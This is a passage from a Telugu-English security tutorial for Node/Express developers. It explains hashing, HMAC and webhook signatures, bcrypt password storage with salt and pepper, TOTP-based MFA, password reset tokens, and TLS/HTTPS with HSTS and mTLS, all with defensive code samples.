> - ఇద్దరు వేరువేరు వ్యక్తులకు **అదే fingerprint రావడం దాదాపు అసాధ్యం** (collision resistance).
> - వ్యక్తిలో అతి చిన్న మార్పు (కవల పిల్లలైనా) → వేరే fingerprint (avalanche).
>
> అందుకే police fingerprint match చేసి identity verify చేస్తుంది — **original ని reveal చేయకుండా.** అలాగే server నీ password hash ని store చేసి, login లో నువ్విచ్చిన password ని hash చేసి match చూస్తుంది — అసలు password ఎప్పుడూ store చేయకుండా!

Cryptographic hash యొక్క 4 అవసరమైన properties

ఒక hash function "cryptographically secure" అవ్వాలంటే ఈ 4 ఉండాలి:

Property	అర్థం	ఎందుకు ముఖ్యం
Deterministic	అదే input → ఎప్పుడూ అదే hash	verify చేయడానికి (లేకపోతే match కుదరదు)
One-way (preimage resistance)	hash నుండి input వెనక్కి పొందలేం	password/secret leak కాకుండా
Collision resistance	రెండు వేరు inputs కి అదే hash రావడం అసాధ్యం	forgery ఆపడానికి
Avalanche effect	input లో 1 bit మారితే hash సగం bits మారతాయి	patterns hide చేయడానికి

వేగం గురించి subtle point: general hashing (integrity కోసం) **వేగం మంచిది** (SHA-256). కానీ **password hashing కి వేగం చెడ్డది** — attacker fast గా billions of guesses చేయగలడు. అందుకే passwords కి **నెమ్మది (slow) hashes** (bcrypt/argon2 — Topic 4) వాడతాం. ఈ తేడా చాలా ముఖ్యం.

SHA-256 & hash family

Algorithm	Output	స్థితి	వాడకం
MD5	128-bit	❌ **విరిగింది** (collisions found)	ఏదీ కాదు (legacy checksums మాత్రమే)
SHA-1	160-bit	❌ **విరిగింది** (2017 లో collision)	deprecated
SHA-256	256-bit	✅ secure	integrity, signatures, blockchain, general
SHA-3	variable	✅ secure	SHA-2 కి alternative
bcrypt/scrypt/argon2	variable	✅ secure (slow)	**passwords మాత్రమే** (Topic 4)

MD5, SHA-1 ఎప్పుడూ security కి వాడకు — వాటికి collisions కనిపెట్టారు (రెండు వేరు files కి అదే hash తయారు చేయవచ్చు).

Code — SHA-256 & HMAC in Node

```
const crypto = require('crypto');

// ---- Basic SHA-256 hash ----
function sha256(data) {
  return crypto.createHash('sha256').update(data).digest('hex');
}
console.log(sha256('hello'));          // 2cf24dba...9824 (ఎప్పుడూ అదే)
console.log(sha256('hello!'));         // పూర్తిగా వేరే (avalanche)

// ---- File integrity check (checksum) ----
// download చేసిన file tamper కాలేదో verify చేయడానికి
const fs = require('fs');
function fileHash(path) {
  const buf = fs.readFileSync(path);
  return crypto.createHash('sha256').update(buf).digest('hex');
}
// website ఇచ్చిన hash తో నీ file hash match అయితే → file safe, tamper కాలేదు

// ---- HMAC — hash + secret key (integrity + authenticity) ----
// "ఈ message ని నిజంగా secret తెలిసినవాడే పంపాడు, tamper కాలేదు" అని నిరూపణ
function hmacSign(message, secret) {
  return crypto.createHmac('sha256', secret).update(message).digest('hex');
}
const secret = 'server-only-secret-key';
const sig = hmacSign('user=alice&role=admin', secret);
console.log(sig);                       // attacker secret లేకుండా ఈ sig తయారు చేయలేడు

// verify: timing-safe compare (== వాడకు — timing attack!)
function hmacVerify(message, secret, sig) {
  const expected = hmacSign(message, secret);
```

```
  return crypto.timingSafeEqual(Buffer.from(sig), Buffer.from(expected));
}
console.log(hmacVerify('user=alice&role=admin', secret, sig));  // true
```

HMAC ఎందుకు ప్రత్యేకం? సాధారణ hash కి key లేదు — ఎవరైనా hash తయారు చేయగలరు. **HMAC = hash + secret key**, అంటే secret తెలిసినవాడే valid signature తయారు చేయగలడు. ఇది **integrity (tamper detect) + authenticity (ఎవరు పంపారు)** రెండూ ఇస్తుంది. JWT (Topic 7) HMAC నే వాడుతుంది. `timingSafeEqual` వాడటం ముఖ్యం — normal `===` string compare timing leak చేస్తుంది (Topic 12 లో timing attack).

3.1 HMAC in practice — webhook signature verification

Real-world లో నువ్వు తరచూ చూసే HMAC use case: **webhooks** (Stripe payment events, GitHub push). Third-party నీ Express endpoint కి POST పంపుతుంది — కానీ అది నిజంగా Stripe పంపిందా, లేక attacker నేరుగా fake request పంపాడా? Stripe request body ని ఒక **shared secret** తో HMAC sign చేసి, signature ని header (`Stripe-Signature`) లో పంపుతుంది. నువ్వు అదే secret తో recompute చేసి match అయితే → authentic.

```
const crypto = require('crypto');

// webhook signature verify (Stripe/GitHub style)
function verifyWebhook(rawBody, signature, secret) {
  const expected = crypto.createHmac('sha256', secret)
                         .update(rawBody, 'utf8').digest('hex');
  // timing-safe compare (=== కాదు)
  const a = Buffer.from(signature), b = Buffer.from(expected);
  return a.length === b.length && crypto.timingSafeEqual(a, b);
}

// ⚠️ parsed JSON కాదు, RAW body మీద verify చేయాలి (parse తో bytes మారతాయి)
app.post('/webhook', express.raw({ type: 'application/json' }), (req, res) => {
  if (!verifyWebhook(req.body, req.headers['x-signature'], process.env.WEBHOOK_SECRET))
    return res.status(400).send('Invalid signature');   // forged → reject
  // ... process trusted event
  res.json({ received: true });
});
```

Attacker secret లేకుండా valid signature తయారు చేయలేడు → **integrity (body tamper కాలేదు) + authenticity (నిజంగా Stripe).** ఇదే idea JWT signature లోనూ (HS256 = HMAC).

వాడకాలు (use cases)

Use case	ఎలా hash సహాయపడుతుంది
Password storage	plaintext కాకుండా hash store; login లో hash match (Topic 4 — slow hash తో)
File integrity / checksum	download hash = website hash అయితే file tamper కాలేదు
Digital signatures	పెద్ద document ని hash చేసి, ఆ చిన్న hash ని sign చేస్తారు (fast)
Data deduplication	అదే hash = అదే file → duplicate detect
Git commits	ప్రతి commit ఒక SHA-1/SHA-256 hash తో identify
Blockchain	ప్రతి block లో previous block hash → tamper-proof chain
HMAC / API signatures	webhook/API request tamper కాలేదని verify (Stripe, GitHub webhooks)

Key Points

- **Hashing = one-way (irreversible)**; encryption = two-way. Hash నుండి data వెనక్కి రాదు.
- **4 properties:** deterministic, one-way (preimage resistance), collision resistance, avalanche effect.
- **SHA-256 = general integrity కి secure & fast.** MD5/SHA-1 **విరిగాయి** — వాడకు.
- **Password కి SHA-256 సరిపోదు** — fast కాబట్టి attacker billions guesses చేస్తాడు. **slow hash (bcrypt/argon2 + salt)** కావాలి (Topic 4).
- **HMAC = hash + secret key** → integrity + authenticity. JWT, webhooks ఇది వాడతాయి.
- Hash compare చేసేటప్పుడు `timingSafeEqual` వాడు, `===` కాదు (timing attack).

Interview దృష్టి

Q: Hashing vs encryption — తేడా ఏమిటి, password కి ఏది వాడతావు? A: Encryption **reversible** (key తో decrypt చేయవచ్చు); hashing **one-way** (వెనక్కి రాదు). Password కి **hashing** వాడాలి — server కి అసలు password తెలియనవసరం లేదు, login లో ఇచ్చిన password ని hash చేసి stored hash తో match చేస్తే చాలు. Encrypt చేస్తే ఎవరో key తో decrypt చేయగలరు — అది ప్రమాదం. కానీ plain SHA-256 కాదు — bcrypt/argon2 (slow + salted).

Q: SHA-256 password hashing కి ఎందుకు సరిపోదు? A: SHA-256 **చాలా వేగం** — modern GPU సెకనుకి billions of SHA-256 hashes చేయగలదు. అంటే attacker leaked hash ని brute-force / rainbow table తో fast crack చేయగలడు. Password hashing కి మనకి **నెమ్మది (deliberately slow)** function కావాలి (bcrypt/scrypt/argon2), plus salt. వేగం integrity కి మంచిది, passwords కి చెడ్డది.

Q: MD5 తో password hash చేస్తే ఏం problem? A: రెండు problems: (1) MD5 **collision-broken** + అతి వేగం → GPU తో fast crack. (2) Salt లేకపోతే rainbow tables తో instant reverse. MD5/SHA-1 ఏ security purpose కీ వాడకూడదు; passwords కి bcrypt/argon2 తప్పనిసరి.

4. Password Storage (bcrypt, salt, pepper)

వివరణ

ఇది **అత్యంత common, అత్యంత ప్రమాదకర** mistake — passwords ని తప్పుగా store చేయడం. ప్రతి MERN developer తప్పకుండా master చేయాల్సిన topic. Rule ఒక్కటే: **passwords ని ఎప్పుడూ plaintext లో store చేయకూడదు, encrypt కూడా చేయకూడదు — hash చేయాలి (slow hash + salt).**

ఎందుకు? ఏ database అయినా ఏదో ఒకరోజు leak అవ్వొచ్చు (SQL injection, insider, misconfigured backup). ఆ రోజు:

- Passwords **plaintext** అయితే → అన్ని accounts తక్షణం gone. పైగా users password reuse చేస్తారు కాబట్టి వాళ్ళ Gmail, bank కూడా ప్రమాదం.
- Passwords **encrypt** చేసినా → decryption key కూడా server లోనే ఉంటుంది; leak అయితే key తో అన్నీ decrypt.
- Passwords **properly hashed (bcrypt + salt)** అయితే → attacker చేతిలో useless hashes మాత్రమే; original passwords పొందడం అసాధ్యానికి దగ్గర.

Real-life Scenario

> **Password storage = హోటల్ safe deposit locker.**
>
> - **Plaintext store** = నీ నగలు reception desk మీద పేరు రాసి పెట్టడం. ఎవరైనా చూస్తారు, తీసుకెళ్తారు. (worst.)
> - **Encryption** = నగలు lockలో పెట్టి, ఆ locker key ని కూడా reception లోనే పెట్టడం. దొంగ desk దోచుకుంటే key తోపాటే అన్నీ. (కొంచెం better, ఇంకా చెడ్డదే.)
> - **Hashing (salt తో)** = నీ password ని ఒక **one-way shredder** లో వేయడం. Hotel దగ్గర shredded pieces మాత్రమే. నువ్వు మళ్ళీ వచ్చినప్పుడు, నీ password ని *అదే shredder* లో వేసి, pieces match అయితే "నువ్వే" అని confirm. Hotel కి అసలు password ఎప్పుడూ తెలియదు, leak అయినా shredded useless pieces మాత్రమే. (correct!)

4.1 Salt — rainbow tables ని ఎదుర్కోవడం

సమస్య: అందరూ SHA-256 వాడితే, `sha256("password123")` ఎప్పుడూ అదే hash ఇస్తుంది. Attacker ముందుగానే **లక్షల common passwords → వాటి hashes** అనే giant lookup table తయారు చేసి పెట్టుకుంటాడు (దీన్ని **rainbow table** అంటారు). Leaked hash ని ఆ table లో వెతికితే instant గా password దొరుకుతుంది!

పరిష్కారం — Salt: ప్రతి user కి ఒక **unique random string (salt)** generate చేసి, password కి కలిపి hash చేస్తాం: `hash(salt + password)`. Salt ని hash పక్కన (plaintext గా) store చేస్తాం.

- ఇప్పుడు అదే password "password123" ఉన్న ఇద్దరు users కి కూడా **వేరువేరు hashes** వస్తాయి (వేరు salts కాబట్టి).
- Attacker ముందుగా table తయారు చేయలేడు — ప్రతి user కి వేరే salt కాబట్టి, ప్రతి password ని విడిగా crack చేయాలి. Rainbow tables **పనికిరావు.**

> **Salt = ప్రతి వంటకానికి వేరే రహస్య మసాలా.** అందరూ అదే "పప్పు" వండినా, నువ్వు ప్రతి plate కి వేరే unique masala కలిపితే — రుచి (hash) ప్రతి plate కి వేరు. దొంగ ఒక plate రుచి తెలుసుకున్నా, మిగతా plates ని guess చేయలేడు.

4.2 bcrypt — slow, adaptive hashing

Salt problem solve చేసింది, కానీ SHA-256 ఇంకా **చాలా వేగం** — attacker ఒక్క user salt తెలిసినా, GPU తో సెకనుకి billions guesses చేస్తాడు. **పరిష్కారం: deliberately slow hash.**

bcrypt (మరియు scrypt, argon2) — passwords కోసమే design చేసిన **నెమ్మది** hash functions:

- **Cost factor (work factor)** — ఎంత slow అనేది adjustable. bcrypt లో `saltRounds=12` అంటే `2^12` iterations. Hardware fast అయ్యేకొద్దీ cost పెంచవచ్చు (adaptive) — future-proof.
- **Salt built-in** — bcrypt తనే random salt generate చేసి, output string లోనే embed చేస్తుంది. నువ్వు separately salt manage చేయనవసరం లేదు.
- ఒక్క hash ~250ms పడితే: legitimate login కి పర్వాలేదు; కానీ attacker కి billions guesses **అసాధ్యం** (each guess 250ms).

bcrypt output ని అర్థం చేసుకో:

```
$2b$12$eImiTXuWVxfM37uY4JANjQ.MzHwzHkkNZQ5Ln.mFdFR7fB3g5U5Ke
 │  │  │└──────────────────────┘ └───────┘
 │  │  cost=12             salt (22 chars)       hash (31 chars)
 │  algorithm version (2b)
 bcrypt identifier
```

అంతా ఒక్క string లో — salt + hash కలిసి. అందుకే DB లో ఒక్క column చాలు.

Code — bcrypt తో పూర్తి register + login (Express)

```
// npm install bcrypt
const bcrypt = require('bcrypt');

const SALT_ROUNDS = 12;   // cost factor (10–12 typical; ఎక్కువ = slow+safe)

// ---- REGISTRATION: password hash చేసి store ----
async function registerUser(email, plainPassword) {
  // bcrypt salt ని auto-generate చేసి hash లో embed చేస్తుంది
  const passwordHash = await bcrypt.hash(plainPassword, SALT_ROUNDS);
  // DB లో plainPassword కాదు, passwordHash మాత్రమే store!
  await db.collection('users').insertOne({ email, passwordHash });
  // passwordHash = "$2b$12$eImiTX...5U5Ke" (salt + hash కలిసి)
}

// ---- LOGIN: ఇచ్చిన password ని stored hash తో compare ----
async function loginUser(email, plainPassword) {
  const user = await db.collection('users').findOne({ email });
  if (!user) {
    // ⚠️ user లేకపోయినా bcrypt compare చేయి (timing attack ఆపడానికి — Topic 12)
```

```
    await bcrypt.compare(plainPassword, '$2b$12$invalidinvalidinvalidinvalidinv');
    return { ok: false, msg: 'Invalid email or password' };  // vague message!
  }
  // bcrypt hash లో నుండి salt తీసి, ఇచ్చిన password ని అదే విధంగా hash చేసి compare
  const match = await bcrypt.compare(plainPassword, user.passwordHash);
  if (!match) return { ok: false, msg: 'Invalid email or password' };
  return { ok: true, userId: user._id };
}
```

గమనించు: login fail message ఎప్పుడూ **vague** — "Invalid email **or** password." "Email not found" అని చెప్తే, attacker ఏ emails register అయ్యాయో తెలుసుకుంటాడు (user enumeration). Wrong-email path లో కూడా ఒక dummy bcrypt.compare చేయడం — response time ఒకేలా ఉంచి timing leak ఆపడానికి.

4.3 Pepper — ఇంకో పొర (bonus defense)

Pepper = అందరి passwords కీ కలిపే ఒక **secret** (కానీ DB లో కాదు — env var / secrets manager లో, DB కి బయట). Formula: `bcrypt(password + pepper)` .

Salt vs pepper తేడా:

- **Salt** — per-user, unique, **DB లోనే** store (secret కాదు). Rainbow tables ఆపడానికి.
- **Pepper** — అందరికీ ఒకటే, **DB బయట** (app secret) store. **DB leak అయినా** pepper attacker దగ్గర లేదు కాబట్టి extra layer.

అంటే DB leak అయినా, attacker కి pepper తెలియదు → hashes crack చేయడం ఇంకా కష్టం. ఇది defense-in-depth (Topic 1). Pepper optional; salt + bcrypt తప్పనిసరి.

Password storage approaches — పోలిక

Approach	DB leak అయితే	తీర్పు
Plaintext	అన్ని passwords తక్షణం gone	❌ నేరం (criminal)
Encryption	key కూడా server లో → decrypt సాధ్యం	❌ తప్పు tool
MD5/SHA-256 (no salt)	rainbow table → fast crack	❌ విరిగింది
SHA-256 + salt	rainbow ఆగుతుంది కానీ fast brute force	⚠️ ఇంకా బలహీనం
bcrypt/scrypt/argon2 + salt	crack చేయడం అసాధ్యానికి దగ్గర	✅ **సరైనది**
bcrypt + salt + pepper	pepper బయట కాబట్టి ఇంకా safe	✅✅ best

bcrypt vs scrypt vs argon2: మూడూ మంచివి. **argon2** (argon2id variant) 2015 Password Hashing Competition winner — memory-hard (GPU attacks కి బాగా resist), కొత్త projects కి recommended. **bcrypt** పాతది కానీ battle-tested, widely available. **scrypt** memory-hard, Node builtin (`crypto.scrypt`). Node లో `bcrypt` (npm) లేదా `argon2` (npm) వాడు. (గమనిక: bcrypt input ని **72 bytes** వద్ద truncate చేస్తుంది — చాలా పొడవైన passwords కి argon2 better.)

4.4 MFA / 2FA (రెండో factor)

Password ని ఎంత strong గా hash చేసినా — phishing, reuse, leak అయితే gone. **MFA (Multi-Factor Authentication)** = password కి పైన **రెండో, వేరు రకమైన factor** జోడించడం. Attacker password crack చేసినా, రెండో factor లేకుండా login కాలేడు. మూడు factor types:

Type	అర్థం	ఉదాహరణ
Knowledge (తెలిసినది)	నీకు తెలిసిన రహస్యం	password, PIN
Possession (దగ్గరున్నది)	నీ దగ్గరున్న వస్తువు	phone (TOTP app), YubiKey, SMS OTP
Inherence (నువ్వే)	నీ శరీర లక్షణం	fingerprint, face

MFA = ఈ **రెండు వేరు types** కలపడం (రెండు passwords కాదు!). అత్యంత common = password + **TOTP** (Time-based One-Time Password — Google Authenticator లో కనిపించే 6-digit code, ప్రతి 30 సెకన్లకి మారేది).

> **MFA = ఇంటికి రెండు వేరు రకాల తాళాలు.** ఒకటి తాళంచెవి (password — తెలిసినది), ఒకటి fingerprint lock (నీ phone — దగ్గరున్నది). దొంగ చెవి దొంగిలించినా, నీ fingerprint/phone లేకుండా తలుపు తెరవలేడు. **రెండూ వేరు రకాలు కావడం** ముఖ్యం — రెండు చెవులు ఉంటే ఒకే దొంగతనంలో రెండూ పోతాయి.

```
// npm install otplib — TOTP (Google Authenticator compatible)
const { authenticator } = require('otplib');

// ---- Setup (user MFA enable చేసినప్పుడు) ----
const secret = authenticator.generateSecret();          // per-user secret
const otpauthUri = authenticator.keyuri(user.email, 'MyApp', secret);
// otpauthUri ని QR code గా చూపించు → user Google Authenticator లో scan చేస్తాడు
// secret ని (encrypted గా) user record లో store చేయి

// ---- Login 2nd step (password verify అయ్యాక) ----
function verifyMfa(userCode, secret) {
  return authenticator.verify({ token: userCode, secret });  // 6-digit match?
}
// backup codes కూడా ఇవ్వు (phone పోతే recovery కి)
```

గమనిక: SMS OTP బలహీనం — SIM-swap attack తో attacker నీ number hijack చేయగలడు. **TOTP app / hardware security key (WebAuthn/FIDO2)** చాలా stronger. Sensitive apps కి security keys phishing-proof.

4.5 Password Reset — దాచిన vulnerability

"Forgot password" flow తరచూ weakest link. సరైన design:

- Reset **token = random (crypto.randomBytes), unguessable**; DB లో దాని **hash** store (leak అయినా safe); **short expiry** (15-30 min); **one-time use** (వాడాక delete).
- Reset link email కే పంపు; token ని **URL లో** పంపితే referrer/logs leak జాగ్రత్త.
- Reset request కి కూడా **rate limit** + **vague response** ("email ఉంటే link పంపాం" — ఉందో లేదో చెప్పకు, enumeration ఆపు).

- Reset అయ్యాక అన్ని active sessions **invalidate** చేయి.

```
const crypto = require('crypto');
// reset request: token generate, hash store, email link
const rawToken = crypto.randomBytes(32).toString('hex');    // user కి పంపేది
const tokenHash = crypto.createHash('sha256').update(rawToken).digest('hex');
await db.users.updateOne({ email }, { $set: {
  resetTokenHash: tokenHash,                                // DB లో hash మాత్రమే
  resetExpires: Date.now() + 30 * 60 * 1000,               // 30 min
}});
// email: https://app.com/reset?token=<rawToken>   (response ఎప్పుడూ vague)
```

Key Points

- **Passwords ఎప్పుడూ plaintext/encrypt కాదు — hash చేయి (bcrypt/scrypt/argon2 + salt).**
- **Salt** = per-user random, DB లో store; rainbow tables ని defeat చేస్తుంది. అదే password → వేరు hashes.
- **bcrypt slow (adaptive cost factor)** — attacker brute force ని అసాధ్యం చేస్తుంది; hardware fast అయ్యేకొద్దీ cost పెంచు.
- **bcrypt salt ని auto-generate + embed** చేస్తుంది; `bcrypt.hash()` register కి, `bcrypt.compare()` login కి.
- **Pepper** = app-wide secret, DB బయట; DB leak అయినా extra layer.
- Login fail message **vague** ("invalid email or password"), user enumeration + timing leak ఆపు.
- కొత్త project → **argon2id** ఉత్తమం; bcrypt కూడా perfectly fine.

Interview దృష్టి

Q: MERN app లో password ని ఎలా store చేస్తావు, step by step? A: Registration లో `bcrypt.hash(password, 12)` — bcrypt random salt generate చేసి, slow hash చేసి, salt+hash కలిసిన string ఇస్తుంది; దాన్ని DB లో store చేస్తా (plaintext ఎప్పుడూ కాదు). Login లో `bcrypt.compare(inputPassword, storedHash)` — ఇది hash లో నుండి salt తీసి, input ని అదే విధంగా hash చేసి match చూస్తుంది. Optionally app-level pepper. Fail message ఎప్పుడూ vague.

Q: Salt ఎందుకు, rainbow table అంటే ఏమిటి? A: Rainbow table = attacker ముందుగానే తయారు చేసిన "common password → hash" giant lookup. Salt లేకపోతే అందరి "password123" కి అదే hash → table lookup instant crack. Salt = per-user random string password కి కలిపేది, అందుకే అదే password కి కూడా వేరు hash వస్తుంది → precomputed table useless, ప్రతి password విడిగా crack చేయాలి.

Q: Salt DB లో store చేస్తే, అది secret కాదా? పనికొస్తుందా? A: Salt secret కాదు — rainbow tables (precomputation) ఆపడం దాని పని, dictionary attack ఆపడం కాదు. Salt public అయినా, attacker ఇప్పుడు ప్రతి user కి *విడిగా* brute force చేయాలి (ఒక్క table అందరికీ పనిచేయదు), plus bcrypt slowness. Secret కావాలంటే అది **pepper** — DB బయట store చేసేది. Salt (per-user, DB లో) + pepper (global, బయట) రెండూ వేరు purposes.

Part 2 — Transport & Identity

> Part 1 లో data ని math తో ఎలా కాపాడాలో (encryption, hashing) నేర్చుకున్నాం. కానీ ఆ data internet మీద ప్రయాణించేటప్పుడు (client → server), మధ్యలో ఎవరైనా చదవొచ్చు/మార్చొచ్చు — దాన్ని ఎలా ఆపాలి? అది **TLS/HTTPS.** తర్వాత, ఒక request వచ్చినప్పుడు "ఇది ఎవరు? (authentication) వాళ్ళకి ఈ పని చేసే హక్కు ఉందా? (authorization)" ఎలా తెలుసుకోవాలి — sessions, cookies, JWT, OAuth. ఇదే Part 2 — data ని transit లో కాపాడటం + identity ని manage చేయడం. ప్రతి login system దీని మీదే నడుస్తుంది.

---

5. TLS / HTTPS

వివరణ

HTTP = plain text protocol. నీ browser server కి పంపే ప్రతిదీ (passwords, cookies, messages) **బహిరంగంగా** wire మీద ప్రయాణిస్తుంది. అదే public WiFi లో ఉంటే, పక్కనున్నవాడు ఒక tool తో నీ traffic మొత్తం చదవగలడు — passwords సహా.

HTTPS = HTTP + TLS. TLS (Transport Layer Security) అనేది HTTP కి కింద ఉండే encryption layer (పాత పేరు SSL — ఇప్పుడు deprecated కానీ "SSL" అనే మాట అలవాటుగా వాడతారు). TLS మూడు హామీలు ఇస్తుంది — CIA గుర్తుందా?

హామీ	CIA	ఏం ఆపుతుంది
Encryption (confidentiality)	C	eavesdropping — ఎవరూ traffic చదవలేరు
Integrity	I	tampering — traffic మధ్యలో ఎవరూ మార్చలేరు (MAC తో detect)
Authentication	Authenticity	**impersonation** — నువ్వు నిజంగా `google.com` తోనే మాట్లాడుతున్నావని certificate నిరూపిస్తుంది

మూడోది (authentication) చాలా మంది మర్చిపోతారు కానీ కీలకం — encryption ఉన్నా, నువ్వు attacker server తో encrypt చేస్తుంటే వృథా. Certificate "ఇది నిజమైన google server" అని guarantee చేస్తుంది.

Real-life Scenario

> **HTTPS = దౌత్య (diplomatic) రహస్య సంచి.** ఒక దేశ రాయబారి మరో దేశానికి రహస్య సందేశం పంపాలంటే:
>
> 1. **Encryption** — సందేశం ఒక locked briefcase లో (ఎవరూ చదవలేరు — confidentiality).
> 2. **Integrity seal** — briefcase మీద tamper-evident seal (ఎవరైనా తెరిస్తే తెలుస్తుంది).
> 3. **Authentication** — రాయబారి దగ్గర **official ID + credentials (certificate)**, ఒక **trusted authority (CA)** ఇచ్చినది. దీంతో "ఇతను నిజమైన రాయబారి, ఎవరో నక్కినవాడు కాదు" అని నిరూపణ.
>
> **మూడూ కావాలి.** Locked briefcase (encryption) ఉన్నా, ఎదుటివాడు నకిలీ రాయబారి (fake server) అయితే వృథా. అందుకే HTTPS లో certificate (ID check) అంత ముఖ్యం — encryption మాత్రమే సరిపోదు.

5.1 TLS Handshake — step by step

Browser HTTPS site తెరిచినప్పుడు, అసలు data రాకముందు ఒక **handshake** జరుగుతుంది. దీని లక్ష్యం: (a) server ని verify చేయడం (certificate), (b) ఒక **shared symmetric session key** ని safe గా establish చేయడం. ఇక్కడే asymmetric + symmetric **hybrid** (Topic 2) real-world లో కనిపిస్తుంది:

```
CLIENT (browser)                                    SERVER (google.com)
      │                                                    │
      │  1. Client Hello ──────────────────────────────────▶
      │     "TLS 1.3, ఈ cipher suites support చేస్తా,
      │      ఇదిగో నా random number + key share"
      │                                                    │
      │  ◀─────────────────────────────── 2. Server Hello  │
      │     "ఈ cipher వాడదాం, ఇదిగో నా random +             │
      │      key share, + నా CERTIFICATE (public key,       │
      │      CA signed)"                                    │
      │                                                    │
      │  3. Certificate verify (browser locally):          │
      │     - CA signature valid? (trusted root దాకా chain) │
      │     - domain match? (google.com?)                   │
      │     - expired? revoked?                             │
      │     ✓ అయితేనే కొనసాగు, లేకపోతే ⚠️ warning           │
      │                                                    │
      │  4. రెండువైపులా shared session key derive          │
      │     (ECDHE key exchange — keys wire మీద పంపరు!)     │
      │                                                    │
      │  5. Finished ─── ఇప్పటి నుండి అంతా ───▶            │
      │     SYMMETRIC (AES) తో encrypt. వేగం!               │
      │  ◀──────────────── encrypted app data ─────────────│
```

కీలక insight: handshake లో **asymmetric crypto** (certificate verify + key exchange) ఒక్కసారే — session key ని safe గా establish చేయడానికి. తర్వాత అసలు data అంతా **fast symmetric (AES)** తో. అందుకే HTTPS secure అయినా వేగం. (Topic 2 hybrid ఇదే.)

5.2 Certificates, CA, PKI — trust ఎలా పనిచేస్తుంది

Certificate = server ఇచ్చే డిజిటల్ ID card. దీనిలో: server public key + domain name (google.com) + expiry date + **issuer (CA) యొక్క signature.**

సమస్య: ఎవరైనా "నేను google.com" అని certificate తయారు చేయవచ్చు కదా? దీన్ని ఆపేదే **CA (Certificate Authority).**

- **CA** = అందరూ నమ్మే third party (Let's Encrypt, DigiCert, Google Trust). వాళ్ళు నిజంగా నువ్వు ఆ domain owner అని verify చేసిన తర్వాతే certificate sign చేస్తారు.
- **Browser లో పుట్టుకతోనే ~150 trusted root CAs list ఉంటుంది.** Server certificate ఆ CAs లో ఒకరు sign చేసిందైతేనే browser నమ్ముతుంది.
- **Chain of trust:** Root CA → Intermediate CA → Server certificate. Browser ఈ chain మొత్తం verify చేస్తుంది, root దాకా. ఏ link విరిగినా → ⚠️ "Not Secure" warning.

PKI (Public Key Infrastructure) = ఈ మొత్తం system — CAs, certificates, chains, revocation lists — public keys ని ఎవరివో నమ్మకంగా verify చేసే framework. HTTPS trust అంతా PKI మీదే.

> **CA = passport office.** ఎవరైనా "నేను ఫలానా" అని paper రాసుకోవచ్చు — కానీ ఎవరూ నమ్మరు. Passport office (CA) నీ identity verify చేసి official passport (certificate) ఇస్తుంది. మిగతా దేశాలు (browsers) ఆ passport office ని నమ్ముతాయి కాబట్టి నీ passport ని accept చేస్తాయి. నకిలీ passport (self-signed cert) చూపిస్తే immigration (browser) ఆపేస్తుంది.

5.3 MITM attack — TLS ఎలా ఆపుతుంది

Man-in-the-Middle (MITM): attacker నీకూ server కీ మధ్య కూర్చుని, traffic చదవడం/మార్చడం. HTTP లో ఇది సులభం (public WiFi లో "evil twin" hotspot).

TLS దీన్ని రెండు విధాలుగా ఆపుతుంది:

1. **Encryption** — attacker traffic చూసినా, gibberish మాత్రమే.
2. **Certificate** — attacker fake server పెట్టి "నేను google" అంటే, వాడి దగ్గర google కోసం CA-signed certificate ఉండదు → browser warning. ఇదే authentication యొక్క అసలు విలువ.

Node — HTTPS server + HSTS

```
const https = require('https');
const fs = require('fs');
const express = require('express');
const app = express();

// HSTS header — "ఇకపై ఈ site ని ఎప్పుడూ HTTPS లోనే open చెయ్"
// (browser HTTP downgrade attack ని ఆపుతుంది)
app.use((req, res, next) => {
  res.setHeader('Strict-Transport-Security',
                'max-age=31536000; includeSubDomains; preload');
  next();
});
```

```
// production లో TLS termination సాధారణంగా reverse proxy (nginx) / load balancer
// చేస్తుంది; అక్కడ HTTP → HTTPS redirect కూడా పెట్టు:
app.use((req, res, next) => {
  if (req.headers['x-forwarded-proto'] === 'http')
    return res.redirect('https://' + req.headers.host + req.url);
  next();
});

// dev లో direct HTTPS (cert/key from Let's Encrypt / mkcert)
https.createServer({
  key:  fs.readFileSync('privkey.pem'),
  cert: fs.readFileSync('fullchain.pem'),
}, app).listen(443);
```

HSTS (HTTP Strict Transport Security) ముఖ్యం — ఒకసారి browser దీన్ని చూస్తే, ఆ domain ని ఎప్పుడూ HTTPS లోనే open చేస్తుంది (attacker HTTP కి downgrade చేయలేడు). Production లో Let's Encrypt (free, auto-renew) certificates + nginx TLS termination common.

5.4 TLS 1.2 vs 1.3, mTLS, certificate pinning

TLS 1.3 (2018) — ఎందుకు better: TLS 1.2 తో పోలిస్తే TLS 1.3 **వేగం + secure.**

అంశం	TLS 1.2	TLS 1.3
Handshake round-trips	2-RTT (నెమ్మది)	**1-RTT** (0-RTT resumption కూడా)
Cipher suites	చాలా, కొన్ని weak (RSA key exchange, CBC)	కొన్నే, అన్నీ strong (ephemeral only)
Forward secrecy	optional	**తప్పనిసరి** (ప్రతి session కి కొత్త key)
Weak crypto	ఉన్నాయి (RC4, SHA-1)	తీసేశారు

Forward secrecy (PFS) కీలక concept: ప్రతి session కి **ephemeral (తాత్కాలిక) key** (ECDHE) వాడతారు. అంటే server private key **భవిష్యత్తులో leak అయినా,** గత recorded sessions ని decrypt చేయలేరు (ఆ session keys ఎప్పుడో మాయమయ్యాయి). TLS 1.3 దీన్ని mandatory చేసింది.

mTLS (Mutual TLS): సాధారణ TLS లో **client మాత్రమే server ని verify** చేస్తుంది. mTLS లో **రెండువైపులా certificate** — server కూడా client ని verify చేస్తుంది. Microservices మధ్య (service-to-service auth), zero-trust networks, high-security APIs లో వాడతారు. "ఇద్దరూ ఒకరి ID ఒకరు చూసుకున్నాకే మాట్లాడతారు."

Certificate pinning: app ఒక specific certificate/public key ని "pin" చేస్తుంది — CA compromise అయినా, attacker fake (వేరే) cert తో MITM చేయలేడు. Mobile banking apps common. కానీ cert rotate చేసినప్పుడు app break అవ్వొచ్చు — జాగ్రత్తగా manage చేయాలి.

> **mTLS = ఇద్దరూ passport చూపించే immigration.** సాధారణ TLS లో నువ్వు (client) officer (server) ID చూస్తావు కానీ officer నీ ID చూడడు. mTLS లో **ఇద్దరూ** ఒకరి passport ఒకరు verify చేసుకుంటారు — అప్పుడే trust. అంతర్గత services మధ్య ఇది ideal.

Key Points

- **HTTPS = HTTP + TLS** → confidentiality (encrypt) + integrity (MAC) + **authentication (certificate).** మూడోదాన్ని మర్చిపోకు.
- **TLS handshake** = certificate verify + shared **symmetric session key** establish. అసలు data అంతా **fast symmetric (AES)** — hybrid.
